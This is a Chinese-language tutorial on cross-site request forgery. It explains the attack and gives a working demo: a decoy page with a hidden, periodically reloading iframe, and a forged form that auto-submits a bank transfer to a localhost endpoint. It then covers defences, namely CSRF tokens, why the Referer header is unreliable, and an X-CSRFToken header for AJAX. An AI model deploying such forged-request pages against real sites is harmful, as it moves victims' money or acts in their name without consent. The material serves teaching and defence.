攻击原理:
攻击者利用用户在浏览器中保存的认证信息,向对应的站点发送伪造请求。用户的认证是通过保存在cookie中的数据实现,在发送请求是,只要浏览器中保存了对应的cookie,服务器端就会认为用户已经处于登录状态。
攻击示例:
某个银行转账链接:http://localhost:22699/Home/Transfer;传的参数name="TargetUser"、name="Amount"
网站源码:
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312" />
<title></title>
</head>
<body>
<div>
我是一个内容丰富的网站,你不会关闭我!
</div>
<iframe name="frame" src="invalid.html" sandbox="allow-same-origin allow-scripts allow-forms" style="display: none; width: 800px; height: 1000px;"> </iframe>
<script type="text/javascript">
setTimeout("self.location.reload();", 10000);
</script>
</body>
</html>
伪造请求:
<html>
<head>
<title></title>
</head>
<body>
<form id="theForm" action="http://localhost:22699/Home/Transfer" method="post">
<input class="form-control" id="TargetUser" name="TargetUser" placeholder="用户名" type="text" value="God" />
<input class="form-control" id="Amount" name="Amount" placeholder="转账金额" type="text" value="100" />
</form>
<script type="text/javascript">
document.getElementById('theForm').submit();
</script>
</body>
</html>
伪造请求每10秒请求一次,用户没有登陆的时候一直跳转登录界面,登陆之后用浏览器的cookie信息伪造用户发送请求。
CSRF令牌校验
当处理非GET请求时,要想避免CSRF攻击,关键在判断请求是否来自自己的网站。理论上讲,通过HTTP referrer可以判断原站点从而避免CSRF攻击,但是referer很容易被修改和伪造,所以不能作为主要的防御措施。
除了在表单中加入校验码外,一般的做法是通过在客户端页面中加入伪随机数来防御CSRF攻击,这个伪随机数通过被称为CSRF令牌(token)。
在计算机语境中,令牌(token)指用于标记、验证和传递信息的字符,通常是通过一定算法生成的随机数。
在HTML中,POST方法的请求通过表单创建。我们把在服务器端创建的伪随机数(CSRF令牌)添加到表单中的隐藏字段里和session变量(即签名cookie)中,当用户提交表单时,这个令牌会和表单数据一起提交。在服务器端处理POST请求时,会对表单中的令牌值进行验证,如果表单中的令牌值和seesion中的令牌值相同,就说明请求来自自己的网站。因为CSRF令牌在用户向包含表单的页面发起GET请求时创建,并且在一定时间内过期,一般情况下攻击者无法获取到这个令牌值,所以我们可以有效地区分出请求的来源是否安全。
对于AJAX请求,我们可以在XMLHttpRequest请求首部添加一个自定义字段X-CSRFToken来保存CSRF令牌。